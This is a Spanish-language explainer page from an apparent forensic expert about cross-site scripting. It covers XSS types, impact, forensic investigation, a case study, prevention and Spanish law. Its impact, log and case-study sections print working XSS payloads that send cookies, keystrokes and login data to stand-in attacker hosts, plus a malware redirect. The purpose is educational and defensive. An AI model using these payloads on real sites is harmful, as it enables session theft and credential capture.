XSS (Cross-Site Scripting)
Vulnerabilidad de seguridad web que permite a atacantes inyectar scripts maliciosos en páginas vistas por otros usuarios. El análisis forense de XSS investiga ataques, identifica puntos de inyección, y documenta el impacto.
¿Qué es XSS?
XSS (Cross-Site Scripting) es una vulnerabilidad de seguridad web que permite a atacantes inyectar código JavaScript malicioso en páginas web vistas por otros usuarios. El navegador de la víctima ejecuta el código creyendo que es parte legítima del sitio.
OWASP Top 10
XSS ha estado consistentemente en el OWASP Top 10 de vulnerabilidades web durante décadas. A pesar de ser bien conocido, sigue siendo extremadamente común en aplicaciones web.
Tipos de XSS
XSS Reflejado (Reflected)
El script malicioso viene en la URL y se “refleja” en la respuesta:
https://victima.com/buscar?q=<script>alert('XSS')</script>La víctima debe hacer clic en un enlace malicioso.
XSS Almacenado (Stored)
El script se guarda en la base de datos y se ejecuta cada vez que se carga la página:
<!-- Comentario guardado en foro -->
<script>document.location='https://atacante.com/?c='+document.cookie</script>Todos los usuarios que visitan la página son víctimas.
XSS DOM-Based
La vulnerabilidad está en el código JavaScript del cliente:
// Código vulnerable
document.getElementById("output").innerHTML = location.hash.slice(1);
// URL maliciosa
https://victima.com/#<img src=x onerror=alert('XSS')>XSS Almacenado: Más Peligroso
El XSS almacenado es el más peligroso porque no requiere interacción: todos los visitantes de la página afectada son víctimas automáticamente.
Impacto de XSS
Robo de Sesión
// Script inyectado
new Image().src = 'https://atacante.com/robar.php?cookie=' + document.cookie;El atacante obtiene la cookie de sesión y puede suplantar al usuario.
Captura de Credenciales
// Modificar formulario de login
document.forms[0].action = 'https://atacante.com/captura.php';Keylogging en Navegador
// Capturar todas las pulsaciones
document.onkeypress = function(e) {
new Image().src = 'https://atacante.com/log.php?key=' + e.key;
};Distribución de Malware
// Redirigir a descarga maliciosa
if(!localStorage.getItem('infected')) {
localStorage.setItem('infected', '1');
location = 'https://atacante.com/malware.exe';
}Análisis Forense de XSS
Identificar punto de inyección: ¿Dónde se insertó el código malicioso?
Analizar logs del servidor: Buscar payloads XSS en parámetros de peticiones.
Revisar base de datos: Para XSS almacenado, buscar contenido malicioso guardado.
Analizar código fuente: Identificar vulnerabilidad que permitió la inyección.
Determinar impacto: ¿Qué datos se robaron? ¿Cuántos usuarios afectados?
Rastrear al atacante: IPs, patrones de ataque, servidor receptor de datos.
Logs de Servidor Web
# Ejemplo de payload XSS en access.log
192.168.1.100 - - [18/Jan/2026:10:32:15] "GET /buscar?q=%3Cscript%3Ealert(1)%3C/script%3E HTTP/1.1" 200
# Decodificado: ?q=<script>alert(1)</script>Indicadores en WAF
Los Web Application Firewalls registran intentos bloqueados:
[XSS Attack Detected]
Rule ID: 941100
URI: /comentarios
Parameter: mensaje
Value: <script>document.location='http://evil.com/?c='+document.cookie</script>
Action: BlockedCaso Práctico: Robo de Sesiones
Escenario
Un foro detecta que múltiples cuentas de usuarios fueron comprometidas.
Investigación Forense
1. Análisis de base de datos
SELECT * FROM comentarios
WHERE contenido LIKE '%<script%' OR contenido LIKE '%onerror=%';Encontrado:
Comentario ID: 45678
Usuario: atacante123
Contenido: "Buen post! <img src=x onerror=fetch('https://evil.com/steal?c='+document.cookie)>"
Fecha: 2026-01-10 14:322. Análisis de logs
# Accesos al post infectado
10/01 14:35 - 192.168.1.50 - GET /foro/post/123 - víctima1
10/01 14:37 - 192.168.1.51 - GET /foro/post/123 - víctima2
...
50+ accesos al post infectado3. Rastreo del atacante
IP origen del comentario: 185.XX.XX.XX (VPN)
Dominio receptor: evil.com
Registrado: 2026-01-08 (2 días antes del ataque)4. Impacto determinado
- 50+ sesiones robadas
- 12 cuentas usadas para spam
- 3 cuentas premium comprometidas
- Datos personales expuestos
Informe Pericial
- Descripción técnica de la vulnerabilidad
- Timeline del ataque
- Lista de usuarios afectados
- Análisis del payload malicioso
- Recomendaciones de remediación
Valor del Análisis
El análisis forense permitió determinar exactamente qué pasó, cuántos usuarios fueron afectados, y recopilar evidencia del atacante para acciones legales.
Prevención
Para Desarrolladores
| Técnica | Implementación |
|---|---|
| Escape de salida | Codificar HTML entities |
| Content Security Policy | Header CSP restrictivo |
| HTTPOnly cookies | Cookies no accesibles por JS |
| Input validation | Validar y sanitizar entrada |
Ejemplo de Sanitización
// MAL - Vulnerable
element.innerHTML = userInput;
// BIEN - Seguro
element.textContent = userInput;
// O usar librería de sanitización
element.innerHTML = DOMPurify.sanitize(userInput);Marco Legal
Delitos Aplicables (España)
| Delito | Artículo CP | Aplicación |
|---|---|---|
| Acceso ilícito | 197.1-2 | Acceder a datos sin autorización |
| Interceptación | 197.1 | Capturar cookies/credenciales |
| Daños informáticos | 264 | Modificar datos/sistemas |
| Estafa | 248 | Uso fraudulento de cuentas robadas |
Responsabilidad del Sitio
El propietario del sitio vulnerable puede tener responsabilidad civil por no implementar medidas de seguridad adecuadas, especialmente si maneja datos personales (RGPD).
Conclusión
XSS sigue siendo una de las vulnerabilidades web más prevalentes y peligrosas. El análisis forense de ataques XSS requiere examinar logs, bases de datos, y código para identificar el punto de inyección, el impacto, y rastrear al atacante. Para un perito, documentar técnicamente cómo ocurrió el ataque y sus consecuencias es fundamental para procedimientos legales.
Última actualización: 18 de enero de 2026 Categoría: Seguridad Código: XSS-001
Preguntas Frecuentes
¿Qué puede hacer un atacante con XSS?
Robar cookies de sesión, capturar credenciales, redirigir usuarios a sitios maliciosos, modificar contenido de la página, instalar keyloggers en el navegador, y propagar malware.
¿Es delito explotar una vulnerabilidad XSS?
Sí, acceder sin autorización a sistemas (Art. 197 CP) y el robo de datos mediante XSS puede constituir delitos de descubrimiento de secretos, estafa, y daños informáticos.
¿Cómo se detecta un ataque XSS?
Analizando logs del servidor web, WAF, y código fuente. Las payloads XSS dejan rastros en parámetros de URL, campos de formulario, y bases de datos si es XSS almacenado.
Términos Relacionados
Phishing
Técnica de ingeniería social donde los atacantes suplantan la identidad de entidades legítimas (bancos, empresas, organismos) para engañar a las víctimas y obtener credenciales, datos financieros o instalar malware.
Evidencia Digital
Cualquier información almacenada o transmitida en formato digital que puede ser utilizada como prueba en un procedimiento judicial o investigación.
Análisis Forense Digital
Proceso científico de identificación, preservación, análisis y presentación de evidencia digital en procedimientos legales.
¿Necesitas un peritaje forense?
Si necesitas ayuda profesional con análisis forense digital, estoy aquí para ayudarte.
Solicitar Consulta Gratuita
